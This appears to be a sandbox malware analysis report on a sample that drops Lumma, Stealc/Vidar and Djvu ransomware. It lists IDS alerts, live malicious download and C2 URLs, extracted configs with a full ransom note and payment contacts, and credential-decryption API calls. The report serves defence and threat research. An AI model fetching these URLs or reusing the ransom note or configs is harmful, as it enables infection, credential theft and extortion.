ET MALWARE Lumma Stealer Related Activity - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	2024-08-30T06:17:35.763263+0200
SID:	2049836
Severity:	1
Source Port:	49754
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	2024-08-30T06:17:35.763263+0200
SID:	2054653
Severity:	1
Source Port:	49754
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.2.4 - Destination IP: 76.76.21.123

Timestamp:	2024-08-30T06:17:03.690788+0200
SID:	2803270
Severity:	2
Source Port:	49740
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 46.8.231.109

Timestamp:	2024-08-30T06:17:25.611467+0200
SID:	2803304
Severity:	3
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	2024-08-30T06:17:49.242950+0200
SID:	2036289
Severity:	2
Source Port:	51377
Destination Port:	53
Protocol:	UDP
Classtype:	Crypto Currency Mining Activity Detected

ET MALWARE Lumma Stealer Related Activity - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T06:18:02.686767+0200
SID:	2049836
Severity:	1
Source Port:	49783
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T06:18:02.686767+0200
SID:	2054653
Severity:	1
Source Port:	49783
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config - Source IP: 193.176.190.41 - Destination IP: 192.168.2.4

Timestamp:	2024-08-30T06:18:07.770860+0200
SID:	2044247
Severity:	1
Source Port:	80
Destination Port:	49790
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Lumma Stealer Related Activity - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T06:18:05.096134+0200
SID:	2049836
Severity:	1
Source Port:	49787
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T06:18:05.096134+0200
SID:	2054653
Severity:	1
Source Port:	49787
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop) - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	2024-08-30T06:17:35.622869+0200
SID:	2055493
Severity:	1
Source Port:	49754
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Observed Lumma Stealer Related Domain (awwardwiqi .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T06:18:13.363610+0200
SID:	2055576
Severity:	1
Source Port:	49802
Destination Port:	443
Protocol:	TCP
Classtype:	Domain Observed Used for C2 Detected

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.2.4 - Destination IP: 147.45.44.104

Timestamp:	2024-08-30T06:17:03.917325+0200
SID:	2803270
Severity:	2
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 147.45.68.138 - Destination IP: 192.168.2.4

Timestamp:	2024-08-30T06:18:36.911733+0200
SID:	2051831
Severity:	1
Source Port:	80
Destination Port:	49809
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.2.4 - Destination IP: 147.45.44.104

Timestamp:	2024-08-30T06:17:03.345747+0200
SID:	2803270
Severity:	2
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE Lumma Stealer Related Activity M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T06:18:08.150903+0200
SID:	2049812
Severity:	1
Source Port:	49793
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T06:18:08.150903+0200
SID:	2054653
Severity:	1
Source Port:	49793
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 193.176.190.41

Timestamp:	2024-08-30T06:18:15.507906+0200
SID:	2803304
Severity:	3
Source Port:	49790
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.4 - Destination IP: 46.8.231.109

Timestamp:	2024-08-30T06:17:16.225228+0200
SID:	2044243
Severity:	1
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Lumma Stealer Related Activity - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T06:18:14.818716+0200
SID:	2049836
Severity:	1
Source Port:	49803
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T06:18:14.818716+0200
SID:	2054653
Severity:	1
Source Port:	49803
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 46.8.231.109

Timestamp:	2024-08-30T06:17:27.298066+0200
SID:	2803304
Severity:	3
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 193.176.190.41

Timestamp:	2024-08-30T06:18:18.666009+0200
SID:	2803304
Severity:	3
Source Port:	49790
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.2.4 - Destination IP: 147.45.44.104

Timestamp:	2024-08-30T06:17:07.215650+0200
SID:	2803270
Severity:	2
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T06:18:18.290914+0200
SID:	2055493
Severity:	1
Source Port:	49805
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Related Activity - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T06:18:15.744597+0200
SID:	2049836
Severity:	1
Source Port:	49804
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T06:18:15.744597+0200
SID:	2054653
Severity:	1
Source Port:	49804
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.2.4 - Destination IP: 194.58.114.223

Timestamp:	2024-08-30T06:17:03.637802+0200
SID:	2803270
Severity:	2
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE Win32/Stealc Submitting System Information to C2 - Source IP: 192.168.2.4 - Destination IP: 193.176.190.41

Timestamp:	2024-08-30T06:18:08.376769+0200
SID:	2044248
Severity:	1
Source Port:	49790
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Lumma Stealer Related Activity - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	2024-08-30T06:17:34.169581+0200
SID:	2049836
Severity:	1
Source Port:	49752
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer CnC Host Checkin - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	2024-08-30T06:17:34.169581+0200
SID:	2054653
Severity:	1
Source Port:	49752
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 147.45.44.104

Timestamp:	2024-08-30T06:17:30.836556+0200
SID:	2803304
Severity:	3
Source Port:	49751
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop) - Source IP: 192.168.2.4 - Destination IP: 188.114.96.3

Timestamp:	2024-08-30T06:18:04.948927+0200
SID:	2055493
Severity:	1
Source Port:	49787
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern UHCa - Source IP: 192.168.2.4 - Destination IP: 147.45.44.104

Timestamp:	2024-08-30T06:17:03.928029+0200
SID:	2803270
Severity:	2
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE PrivateLoader CnC Activity (POST) - Source IP: 192.168.2.4 - Destination IP: 195.10.205.48

Timestamp:	2024-08-30T06:17:14.161554+0200
SID:	2054711
Severity:	1
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Lumma Stealer Related CnC Domain in DNS Lookup (awwardwiqi .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	2024-08-30T06:17:33.228525+0200
SID:	2055575
Severity:	1
Source Port:	54562
Destination Port:	53
Protocol:	UDP
Classtype:	Domain Observed Used for C2 Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 193.176.190.41

Timestamp:	2024-08-30T06:18:18.055186+0200
SID:	2803304
Severity:	3
Source Port:	49790
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config - Source IP: 147.45.68.138 - Destination IP: 192.168.2.4

Timestamp:	2024-08-30T06:18:36.089721+0200
SID:	2044247
Severity:	1
Source Port:	80
Destination Port:	49809
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Lumma Stealer Domain in DNS Lookup (locatedblsoqp .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	2024-08-30T06:18:03.149485+0200
SID:	2055479
Severity:	1
Source Port:	61366
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 46.8.231.109

Timestamp:	2024-08-30T06:17:27.797866+0200
SID:	2803304
Severity:	3
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 46.8.231.109

Timestamp:	2024-08-30T06:17:24.315536+0200
SID:	2803304
Severity:	3
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Lumma Stealer Domain in DNS Lookup (traineiwnqo .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	2024-08-30T06:18:04.322073+0200
SID:	2055483
Severity:	1
Source Port:	50707
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 186.64.114.115

Timestamp:	2024-08-30T06:18:23.804401+0200
SID:	2803304
Severity:	3
Source Port:	49807
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile - Source IP: 192.168.2.4 - Destination IP: 186.64.114.115

Timestamp:	2024-08-30T06:18:23.804401+0200
SID:	2019714
Severity:	2
Source Port:	49807
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE Lumma Stealer Domain in TLS SNI (traineiwnqo .shop) - Source IP: 192.168.2.4 - Destination IP: 188.114.97.3

Timestamp:	2024-08-30T06:17:36.314598+0200
SID:	2055493
Severity:	1
Source Port:	49755
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://t.me/iyigunl	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/revada/66c6fcb30b9dd_123p.exe	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#space4	Avira URL Cloud: Label: malware
Source: http://147.45.68.138/nss3.dll	Avira URL Cloud: Label: malware
Source: http://193.176.190.41/9e7fbd3f0393ef32/msvcp140.dllu	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#spacesotr	Avira URL Cloud: Label: malware
Source: https://file-link-iota.vercel.app/z#	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#space$	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/mozglue.dlla	Avira URL Cloud: Label: malware
Source: https://locatedblsoqp.shop/api	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/c4754d4f680ead72.phpDo6	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66c1c5838f95f_file1808.exe#fileotr	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/malesa/66c9d3bd31e56_otraba.exe#kisotrll	Avira URL Cloud: Label: malware
Source: https://login.microsoftonline.de	Avira URL Cloud: Label: phishing
Source: http://147.45.44.104/prog/66d0cd9a65b5d_vqwergf.exe	Avira URL Cloud: Label: malware
Source: http://240812161425945.tyr.zont16.com/f/fikbam0812945.exe	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66d0cd9a65b5d_vqwergf.exe#space	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dllE	Avira URL Cloud: Label: malware
Source: https://file-link-iota.vercel.app:80/ffernifre.exes	Avira URL Cloud: Label: malware
Source: http://193.176.190.41/9e7fbd3f0393ef32/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/c4754d4f680ead72.phpry=----BAEGCGCGIEGDHIDHJJEHultrelease	Avira URL Cloud: Label: malware
Source: http://193.176.190.41/p0	Avira URL Cloud: Label: malware
Source: https://yip.su:443/1cN8u7	Avira URL Cloud: Label: phishing
Source: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll3	Avira URL Cloud: Label: malware
Source: http://193.176.190.41/9e7fbd3f0393ef32/mozglue.dll	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dllS	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66d0cd9a65b5d_vqwergf.exe#spacelb	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#spaceC:	Avira URL Cloud: Label: malware
Source: http://193.176.190.41/9e7fbd3f0393ef32/softokn3.dllI	Avira URL Cloud: Label: malware
Source: https://file-link-iota.vercel.app:80/ffernifre.exesV	Avira URL Cloud: Label: malware
Source: http://193.176.190.41/2fa883eebd632382.phption:	Avira URL Cloud: Label: malware
Source: http://147.45.68.138/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://193.176.190.41/TO	Avira URL Cloud: Label: malware
Source: http://147.45.44.104/malesa/66c9d3bd31e56_otraba.exe#kisotrapp/	Avira URL Cloud: Label: malware
Source: http://193.176.190.41/2fa883eebd632382.php~O	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/	Avira URL Cloud: Label: malware
Source: http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\l2[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1304053
Source: C:\ProgramData\CBFCFBFBFB.exe	Avira: detection malicious, Label: HEUR/AGEN.1304053

Found malware configuration

Source: 0000000F.00000002.2730669215.0000000000BFA000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://193.176.190.41/2fa883eebd632382.php"}
Source: 00000002.00000002.1833987167.0000000004365000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199761128941"], "Botnet": "1f3c236c672ff2ffe017b396f834c66e"}
Source: 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Djvu {"Download URLs": [""], "C2 url": "http://cajgtus.com/test1/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nDo not ask assistants from youtube and recovery data sites for help in recovering your data.\r\nThey can use your free decryption quota and scam you.\r\nOur contact is emails in this text document only.\r\nYou can get and look video overview decrypt tool:\r\nhttps://wetransfer.com/downloads/abe121434ad837dd5bdd03878a14485820240531135509/34284d\r\nPrice of private key and decrypt software is $999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $499.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0874PsawqS", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\del

Multi AV Scanner detection for domain / URL

Source: yip.su	Virustotal: Detection: 6%	Perma Link
Source: aldiablo.cl	Virustotal: Detection: 17%	Perma Link
Source: stadiatechnologies.com	Virustotal: Detection: 9%	Perma Link
Source: file-link-iota.vercel.app	Virustotal: Detection: 8%	Perma Link
Source: 240812161425945.tyr.zont16.com	Virustotal: Detection: 5%	Perma Link
Source: http://147.45.68.138/nss3.dll	Virustotal: Detection: 14%	Perma Link
Source: http://147.45.44.104/revada/66c6fcb30b9dd_123p.exe	Virustotal: Detection: 22%	Perma Link
Source: http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#spacesotr	Virustotal: Detection: 23%	Perma Link
Source: http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#space$	Virustotal: Detection: 23%	Perma Link
Source: http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#space4	Virustotal: Detection: 23%	Perma Link
Source: https://locatedblsoqp.shop/api	Virustotal: Detection: 18%	Perma Link
Source: http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	Virustotal: Detection: 18%	Perma Link
Source: http://147.45.68.138:80	Virustotal: Detection: 11%	Perma Link
Source: http://147.45.44.104/malesa/66c9d3bd31e56_otraba.exe#kisotrll	Virustotal: Detection: 22%	Perma Link
Source: http://147.45.44.104/prog/66c1c5838f95f_file1808.exe#fileotr	Virustotal: Detection: 23%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\CBFCFBFBFB.exe	ReversingLabs: Detection: 73%
Source: C:\ProgramData\xprfjygruytr\etzpikspwykg.exe	ReversingLabs: Detection: 87%
Source: C:\Users\userAFCBFIJEHD.exe	ReversingLabs: Detection: 34%
Source: C:\Users\userCAAKFIIDGI.exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66d0cd9755a01_sbwd[1].exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66d0cd9a65b5d_vqwergf[1].exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66d0502b12496_MKna[1].exe	ReversingLabs: Detection: 41%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66c9d3bd31e56_otraba[1].exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66d0cd8fb6f7b_lgjfd[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66d0cd9a65b5d_vqwergf[1].exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66c1c5838f95f_file1808[1].exe	ReversingLabs: Detection: 100%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66c6fcb30b9dd_123p[1].exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\l2[1].exe	ReversingLabs: Detection: 73%
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	ReversingLabs: Detection: 100%
Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	ReversingLabs: Detection: 41%
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	ReversingLabs: Detection: 95%

Multi AV Scanner detection for submitted file

Source: gHPYUEh253.exe	ReversingLabs: Detection: 60%
Source: gHPYUEh253.exe	Virustotal: Detection: 37%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66c9d3bd31e56_otraba[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66c1c5838f95f_file1808[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: gHPYUEh253.exe

Joe Sandbox ML: detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00409BB0 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	11_2_00409BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00418940 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	11_2_00418940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0040C660 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	11_2_0040C660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00407280 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	11_2_00407280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_00409B10 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	11_2_00409B10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68EF6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	11_2_68EF6C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6904A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	11_2_6904A9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_69070180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	11_2_69070180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_690443B0 PK11_PubEncryptPKCS1,PR_SetError,	11_2_690443B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_690925B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	11_2_690925B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_69014420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	11_2_69014420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_69044440 PK11_PrivDecrypt,	11_2_69044440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_690444C0 PK11_PubEncrypt,	11_2_690444C0
